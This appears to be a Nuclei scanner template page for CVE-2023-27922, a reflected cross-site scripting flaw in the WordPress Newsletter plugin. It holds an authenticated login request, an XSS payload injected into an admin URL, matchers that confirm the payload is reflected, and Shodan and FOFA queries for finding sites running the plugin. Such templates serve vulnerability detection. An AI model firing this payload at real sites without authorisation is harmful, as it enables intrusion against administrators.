Newsletter < 7.6.9 - Cross-Site Scripting

ID: CVE-2023-27922

Severity: medium

Author: r3Y3r53

Tags: cve2023,cve,wpscan,wordpress,wp,wp-plugin,xss,newsletter,authenticated,thenewsletterplugin

Description

The plugin does not escape generated URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as administrators

YAML Source

id: CVE-2023-27922

info:
  name: Newsletter < 7.6.9 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not escape generated URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as administrators
  reference:
    - https://wpscan.com/vulnerability/eb6ff6f0-60fe-4345-b443-97fd4800418c
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27922
    - https://jvn.jp/en/jp/JVN59341308/
    - https://wordpress.org/plugins/newsletter/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-27922
    cwe-id: CWE-79
    epss-score: 0.00151
    epss-percentile: 0.51292
    cpe: cpe:2.3:a:thenewsletterplugin:newsletter:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: thenewsletterplugin
    product: newsletter
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/newsletter/
    fofa-query: body=/wp-content/plugins/newsletter/
    publicwww-query: /wp-content/plugins/newsletter/
  tags: cve2023,cve,wpscan,wordpress,wp,wp-plugin,xss,newsletter,authenticated,thenewsletterplugin

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=newsletter_system_status&a%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "text/html")'
          - 'contains(tolower(body_2), "_newsletter_")'
          - 'contains(body_2, "><script>alert(document_domain)</script>")'
        condition: and
# digest: 4a0a00473045022100c2f1cb3aec2da6adf84aec4ee0ceeab637f94c3cce8ff564f8693e32abd2699402202691ebe1d3fd6928a0a4b421598f7cd6b23745a38e26f4d4e1aa49a2e8921676:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-27922.yaml"

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